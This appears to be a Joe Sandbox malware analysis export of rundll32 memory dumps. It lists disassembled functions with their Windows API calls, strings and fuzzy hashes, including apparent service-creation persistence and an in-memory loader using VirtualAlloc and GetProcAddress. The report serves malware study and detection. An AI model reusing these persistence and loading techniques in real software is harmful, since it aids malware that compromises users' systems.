GetLastError.KERNEL32(?,03468858,00000000,?,03490724,?,?,?,034689FB,00000004,InitializeCriticalSectionEx,03481500,InitializeCriticalSectionEx,00000000,?,03468642), ref: 034688BE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 034688E6

Strings

api-ms-, xrefs: 034688CB

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 9617ce263512b75919b0c8e33e690f5cbce53056b325c052cac9f70e4bd99127
Instruction ID: adf9c1dbcf249dd1de6f2da6734b9c9cfcd802b2a8d4f566555605acb1b2ce0c
Opcode Fuzzy Hash: 9617ce263512b75919b0c8e33e690f5cbce53056b325c052cac9f70e4bd99127
Instruction Fuzzy Hash: F8E04F35684308BFEF206E61EC0AF9E3B99BF00A50F184432FD0CFC1E1EB6294949649

Uniqueness

Uniqueness Score: -1.00%

Function 0347BA9E Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(54531A4D,?,00000000,?), ref: 0347BB01

Part of subcall function 03475051: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,03471B3A,?,00000000,-00000008), ref: 034750FD

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0347BD5C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0347BDA4
GetLastError.KERNEL32 ref: 0347BE47

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 983d6817e5317fcc521485ffff3b207f18619e1480bf4fa96aa9e22ff0cdd507
Instruction ID: 97588831d6b2f8e10916ccac372cc46e8057f3ce84f723ce174162095cf60d96
Opcode Fuzzy Hash: 983d6817e5317fcc521485ffff3b207f18619e1480bf4fa96aa9e22ff0cdd507
Instruction Fuzzy Hash: CBD169B5D002589FCB15CFA8D8809EEFBB5FF48304F18456AE965EB341D730A946CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0346787B Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 03467942
___AdjustPointer.LIBCMT ref: 03467965
___AdjustPointer.LIBCMT ref: 03467A01

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 8d5673888148d257a314792775a5d4285d4a9c8583fa3bc6024233979d3a6617
Instruction ID: 0bc10c7dc8ae595aff4ee4d72bc20a7a95d56e5db8b0b9bc84bb420bb58e1865
Opcode Fuzzy Hash: 8d5673888148d257a314792775a5d4285d4a9c8583fa3bc6024233979d3a6617
Instruction Fuzzy Hash: E951E076A04706AFEB29CF21D940B6BBBE5EF00618F18046FD8114E290E731E944CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0345C8E0 Relevance: 6.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,0345C503), ref: 0345C91D
CheckTokenMembership.ADVAPI32(00000000,0345C503,00000000), ref: 0345C92F
GetLastError.KERNEL32 ref: 0345C939
FreeSid.ADVAPI32(0345C503), ref: 0345C949

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: AllocateCheckErrorFreeInitializeLastMembershipToken
String ID:
API String ID: 3835361876-0
Opcode ID: 3397916bc25d188d6cdfe1f927d1f362a6ebf80f6ef20b8e419dfba71a54f17c
Instruction ID: 5ef14351d85a694753ea1017d4d305caecda4bbaf0e4ca85ed5bd726907a6d6c
Opcode Fuzzy Hash: 3397916bc25d188d6cdfe1f927d1f362a6ebf80f6ef20b8e419dfba71a54f17c
Instruction Fuzzy Hash: 53010074E01219ABDB10DFA5D949BAFBBF8FF08650F41405AE905FB341D7309904CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 034526F0 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32([Rename],00000000,00000000,00000000,00000000,?,03452A64,00000000), ref: 03452706
lstrlenA.KERNEL32(00000000,?,03452A64,00000000), ref: 0345270B
lstrlenA.KERNEL32(00000000,?,03452A64,00000000), ref: 03452741

Strings

[Rename], xrefs: 034526FF

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: lstrlen
String ID: [Rename]
API String ID: 1659193697-582330332
Opcode ID: 3db67084696728608c46ebe2857c1cf89f65f358d6d961a9c0412e2540ad65f2
Instruction ID: dca8b4e996bb70589b4e303856c75fd7a2b776d8c9c2bdc6257d1c2fd45d7d4e
Opcode Fuzzy Hash: 3db67084696728608c46ebe2857c1cf89f65f358d6d961a9c0412e2540ad65f2
Instruction Fuzzy Hash: A8F06239605B519BC301DA29AC4097ABBE8EF85250F58086AFC44D7301EA62D94986F6

Uniqueness

Uniqueness Score: -1.00%

Function 034639E5 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000000F,00000400,?,?,?,?,00000000,00000000,?,?,?,0345AA57,?,00000000,?,00000000), ref: 03463A02
GetLastError.KERNEL32(?,?,?,0345AA57,?,00000000,?,00000000,00000000), ref: 03463A0E
WideCharToMultiByte.KERNEL32(0000000F,00000000,?,?,?,?,00000000,00000000,?,?,?,0345AA57,?,00000000,?,00000000), ref: 03463A34
GetLastError.KERNEL32(?,?,?,0345AA57,?,00000000,?,00000000,00000000), ref: 03463A40

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: b26ec4d2605175366f55f2351e7cc63367893434a0fac2c0c6099af651241424
Instruction ID: c3624514e921ee606da1968a0b5116aed62e63dda74f10b841270c0fedd0caee
Opcode Fuzzy Hash: b26ec4d2605175366f55f2351e7cc63367893434a0fac2c0c6099af651241424
Instruction Fuzzy Hash: C0013B3A600195BFCF225E95DC04C5F3EAAFFC97A0B044015FE0599235C731C826EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0347D616 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,0347CFEC,?,00000001,?,?,?,0347BE9B,?,?,00000000), ref: 0347D62D
GetLastError.KERNEL32(?,0347CFEC,?,00000001,?,?,?,0347BE9B,?,?,00000000,?,?,?,0347C422,?), ref: 0347D639

Part of subcall function 0347D5FF: CloseHandle.KERNEL32(FFFFFFFE,0347D649,?,0347CFEC,?,00000001,?,?,?,0347BE9B,?,?,00000000,?,?), ref: 0347D60F

___initconout.LIBCMT ref: 0347D649

Part of subcall function 0347D5C1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0347D5F0,0347CFD9,?,?,0347BE9B,?,?,00000000,?), ref: 0347D5D4

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,0347CFEC,?,00000001,?,?,?,0347BE9B,?,?,00000000,?), ref: 0347D65E

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 89c719916f5d358d7abeb43261677bb266f4ec0f619c9e74b47c6bd3b4221463
Instruction ID: 82c8d7f383517715c64020b42703f0bf428233c14e9ed681c9d166fa20b18545
Opcode Fuzzy Hash: 89c719916f5d358d7abeb43261677bb266f4ec0f619c9e74b47c6bd3b4221463
Instruction Fuzzy Hash: 8CF01236810115BBCF627FD1EC44ECA3FA6EF056B0F044055FA199D120C6318924DB94

Uniqueness

Uniqueness Score: -1.00%

Function 03451AE2 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,03451DA0,?,00000000,?,?,?,?,?,?,?,?,?,03451447), ref: 03451AF0
GetTickCount.KERNEL32 ref: 03451B0E
CreateDialogParamW.USER32(0000006F,00000000,03451A42,00000000), ref: 03451B2D
ShowWindow.USER32(00000000,00000005,?,00000000,?,?,?,?,?,?,?,?,?,03451447), ref: 03451B3B

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: c2a8e281d0496c64484c04039e4121b83de47b059b2ac752a4901f9c0b31847b
Instruction ID: dd8c0d9303bc773b91d3d80987509a27fe406a73dcbf48744f81ad398bdd4cf3
Opcode Fuzzy Hash: c2a8e281d0496c64484c04039e4121b83de47b059b2ac752a4901f9c0b31847b
Instruction Fuzzy Hash: 76F01C34A41202AFEF22EB20EE0EB6A36E4F720742F540456F507BD189E7B49448CA18

Uniqueness

Uniqueness Score: -1.00%

Function 03464655 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,034645F2,00000064), ref: 03464678
LeaveCriticalSection.KERNEL32(03490678,?,?,034645F2,00000064,?,?,034602DB,034900F8,?,?,00000000), ref: 03464682
WaitForSingleObjectEx.KERNEL32(?,00000000,?,034645F2,00000064,?,?,034602DB,034900F8,?,?,00000000), ref: 03464693
EnterCriticalSection.KERNEL32(03490678,?,034645F2,00000064,?,?,034602DB,034900F8,?,?,00000000), ref: 0346469A

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 723c425effdee5c600c9a34726bf4f1602d2912159aa4fdaeb2fc8df19cac4c9
Instruction ID: e6b1219b7c13940586b010e2ea89d92657c74a758e014142b4db834407311a99
Opcode Fuzzy Hash: 723c425effdee5c600c9a34726bf4f1602d2912159aa4fdaeb2fc8df19cac4c9
Instruction Fuzzy Hash: 18E01232581624AFDE017F61EC09B9E7F58EB99652F044013F5097E275C7711C108BD9

Uniqueness

Uniqueness Score: -1.00%

Function 03460A20 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 267COMMON

Download Yara Rule

APIs

Part of subcall function 0345AF40: std::locale::_Init.LIBCPMT ref: 0345AFF8

std::locale::_Init.LIBCPMT ref: 03460ABB

Part of subcall function 0346332F: __EH_prolog3.LIBCMT ref: 03463336
Part of subcall function 0346332F: std::_Lockit::_Lockit.LIBCPMT ref: 03463341
Part of subcall function 0346332F: std::locale::_Setgloballocale.LIBCPMT ref: 0346335C
Part of subcall function 0346332F: _Yarn.LIBCPMT ref: 03463372
Part of subcall function 0346332F: std::_Lockit::~_Lockit.LIBCPMT ref: 034633B2

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 03460DAE

Strings

0, xrefs: 03460B63

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: std::locale::_$InitLockitstd::_$H_prolog3Ios_base_dtorLockit::_Lockit::~_SetgloballocaleYarnstd::ios_base::_
String ID: 0
API String ID: 2751663797-4108050209
Opcode ID: d37983332226f30e59ca2db03ffec08b61fdf2f15aaa9b370a5f137d95b7ad33
Instruction ID: 9c195193597e832c78775d1633699aec90668d924713591308b37cacedd6d435
Opcode Fuzzy Hash: d37983332226f30e59ca2db03ffec08b61fdf2f15aaa9b370a5f137d95b7ad33
Instruction Fuzzy Hash: 11B18D75E003088FDB24CF68C884B9ABBF5BF45304F2441AAD549AF351DB71AA49CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0346D18D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0346D21D

Strings

pow, xrefs: 0346D1F5, 0346D212

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 481344c43e76c81668aaa3406c73dc59cb8c400dc86bf3eaef348ecc9d641cc5
Instruction ID: 0aef2a0ce5bf8967d7d0a34575ecf35691d4db4a4617a4c9e72666f32668943c
Opcode Fuzzy Hash: 481344c43e76c81668aaa3406c73dc59cb8c400dc86bf3eaef348ecc9d641cc5
Instruction Fuzzy Hash: 27510965F082019ACB11FF29C9413FFB794EB42B10F18895FD4A65E39CEA34C4959A4F

Uniqueness

Uniqueness Score: -1.00%

Function 03467E77 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 03467E9C

Strings

RCC, xrefs: 03467EB6
MOC, xrefs: 03467EAE

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 714511aee3df23bc06e3c2ecfc88716f0474007bbbe798ce68ec9867d9f3ea8a
Instruction ID: 1b39c2b45b0eccd30ef3691623b76d3ff8b934337024a5844f1935b0003e61b5
Opcode Fuzzy Hash: 714511aee3df23bc06e3c2ecfc88716f0474007bbbe798ce68ec9867d9f3ea8a
Instruction Fuzzy Hash: F3414A71900209EFDF15DF98CD80EAEBBB9FF48308F18419AF914AB250D3359960DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 03455D16 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 03455D4A
CallWindowProcW.USER32(?,?,?,?), ref: 03455D95

Part of subcall function 0345514F: SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 0345515E

Strings

, xrefs: 03455D2B

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 942d86218b81d3cd1e200562a2bdb8babcf804553397b6f7f11eb8256e7d8662
Instruction ID: 98a1fe119ad8ee3bc7053f59fa5723c59b97eea561b47ffe8766766ad5fa562a
Opcode Fuzzy Hash: 942d86218b81d3cd1e200562a2bdb8babcf804553397b6f7f11eb8256e7d8662
Instruction Fuzzy Hash: 0701D833E002489FDF20EE52D8085BB776AEB86350F0880B7FD17AE342C6318855DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0345B510 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0345B518
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0345B55C

Part of subcall function 0346342F: _Yarn.LIBCPMT ref: 0346344E
Part of subcall function 0346342F: _Yarn.LIBCPMT ref: 03463472

Strings

bad locale name, xrefs: 0345B56B

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: b7a691930c7d17a26bf02499f350ea335dcdeb0c71e63ccc449f40dd383ee695
Instruction ID: 09cc78682c22c1bbc09597c5864b59854424e634636e289e5e8b4c5407eaed16
Opcode Fuzzy Hash: b7a691930c7d17a26bf02499f350ea335dcdeb0c71e63ccc449f40dd383ee695
Instruction Fuzzy Hash: 84F04964101B809ED330DF7A8400743BEE4AF25614F048A1ED5CACBB51E375E108CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 03464F9B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 03465027: GetLastError.KERNEL32 ref: 03465039

IsDebuggerPresent.KERNEL32(?,?,?,03451092), ref: 03464FCE
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,03451092), ref: 03464FDD

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 03464FD8

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: d427fb9c058f77a86c499ca11224ac11348e00c6b194cb1731f537a7ec25fda7
Instruction ID: 8c38a1026fb2b8f2cc563730111fb18f5c52ad5246374d02b2415153f8949e63
Opcode Fuzzy Hash: d427fb9c058f77a86c499ca11224ac11348e00c6b194cb1731f537a7ec25fda7
Instruction Fuzzy Hash: 7AE039782007019FE770EF2AE00471ABAE8AF04705F00895FE886DE704D7B1D549CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 034602EE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 03460316

Part of subcall function 03464583: EnterCriticalSection.KERNEL32(03490678), ref: 0346458D
Part of subcall function 03464583: LeaveCriticalSection.KERNEL32(03490678), ref: 034645C0
Part of subcall function 03464583: RtlWakeAllConditionVariable.NTDLL ref: 03464637

Strings

1.28.763.1, xrefs: 034602FE
1.28.763.1, xrefs: 034602EE

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CriticalSection$ConditionEnterInit_thread_footerLeaveVariableWake
String ID: 1.28.763.1$1.28.763.1
API String ID: 3840055341-2560111419
Opcode ID: 76d4d8c491f40e11fb6af4b89229ba9b08bcc8e8255f358c7f6d2db3a18fc375
Instruction ID: 59e1a872513327a28c04a3b0e76addae51da889354fe5b0ebf9d8659f92b8e26
Opcode Fuzzy Hash: 76d4d8c491f40e11fb6af4b89229ba9b08bcc8e8255f358c7f6d2db3a18fc375
Instruction Fuzzy Hash: B0C0121ACA03819DCF00FBA2BC030AC2390A986604325568BA9602D21AFB6101DDE3AF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exePID: 7972, Parent PID: 7952COMMON

Execution Graph

Execution Coverage:	0.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	11.1%
Total number of Nodes:	208
Total number of Limit Nodes:	19

Executed Functions

Function 0000021BD9772DD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 144
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsW.SHLWAPI ref: 0000021BD9772E1F
OpenSCManagerW.ADVAPI32 ref: 0000021BD9772E4A
CreateServiceW.ADVAPI32 ref: 0000021BD9772F2F
GetLastError.KERNEL32 ref: 0000021BD9772FC1
CloseServiceHandle.ADVAPI32 ref: 0000021BD9772FD1

Strings

rundll32.exe ", xrefs: 0000021BD9772E7C

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: Service$CloseCreateErrorExistsFileHandleLastManagerOpenPath
String ID: rundll32.exe "
API String ID: 63425932-3577386298
Opcode ID: a37e2d20d0c094a8b91fc0a64ca3ade2abb119c5f586667f5f16c0102fd1b422
Instruction ID: 78682e694439e3e638910c436a5c971435b0c966b7a1d99836c6445625ab3ca9
Opcode Fuzzy Hash: a37e2d20d0c094a8b91fc0a64ca3ade2abb119c5f586667f5f16c0102fd1b422
Instruction Fuzzy Hash: 13613932705A40C5EB1ADF65F8883DC2371FB58B88F021429DA5A67AADCF38C56AD344

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD977DF30 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 385
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32 ref: 0000021BD977DFB4
CryptCreateHash.ADVAPI32 ref: 0000021BD977E093
CryptHashData.ADVAPI32 ref: 0000021BD977E15E
CryptGetHashParam.ADVAPI32 ref: 0000021BD977E230

Part of subcall function 0000021BD9773590: std::_Xbad_alloc.LIBCPMT ref: 0000021BD977361D

Strings

%02x, xrefs: 0000021BD977E32D

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: Crypt$Hash$AcquireContextCreateDataParamXbad_allocstd::_
String ID: %02x
API String ID: 3700570206-560843007
Opcode ID: 3c3ed69dd524e22b38812bf2573a2fffe77b3243ad2d593c9e893328be83bc32
Instruction ID: 3ffb8f7810c5992c8caf931905695eabec04242fdc1cd737cc275d4841c24c3f
Opcode Fuzzy Hash: 3c3ed69dd524e22b38812bf2573a2fffe77b3243ad2d593c9e893328be83bc32
Instruction Fuzzy Hash: D2026932204B408AF71A9F65E9883AD37B1F769B88F514515DE4D9BBADCF38D4A0C780

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD9431090 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 332
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 0000021BD94310F4
VirtualProtect.KERNEL32 ref: 0000021BD9431115
LoadLibraryA.KERNEL32 ref: 0000021BD9431256
GetProcAddress.KERNEL32 ref: 0000021BD943129C

Strings

main, xrefs: 0000021BD9431367

Memory Dump Source

Source File: 00000021.00000002.1413636463.0000021BD9430000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9430000_rundll32.jbxd

Similarity

API ID: Virtual$AddressAllocLibraryLoadProcProtect
String ID: main
API String ID: 1080606849-3207122276
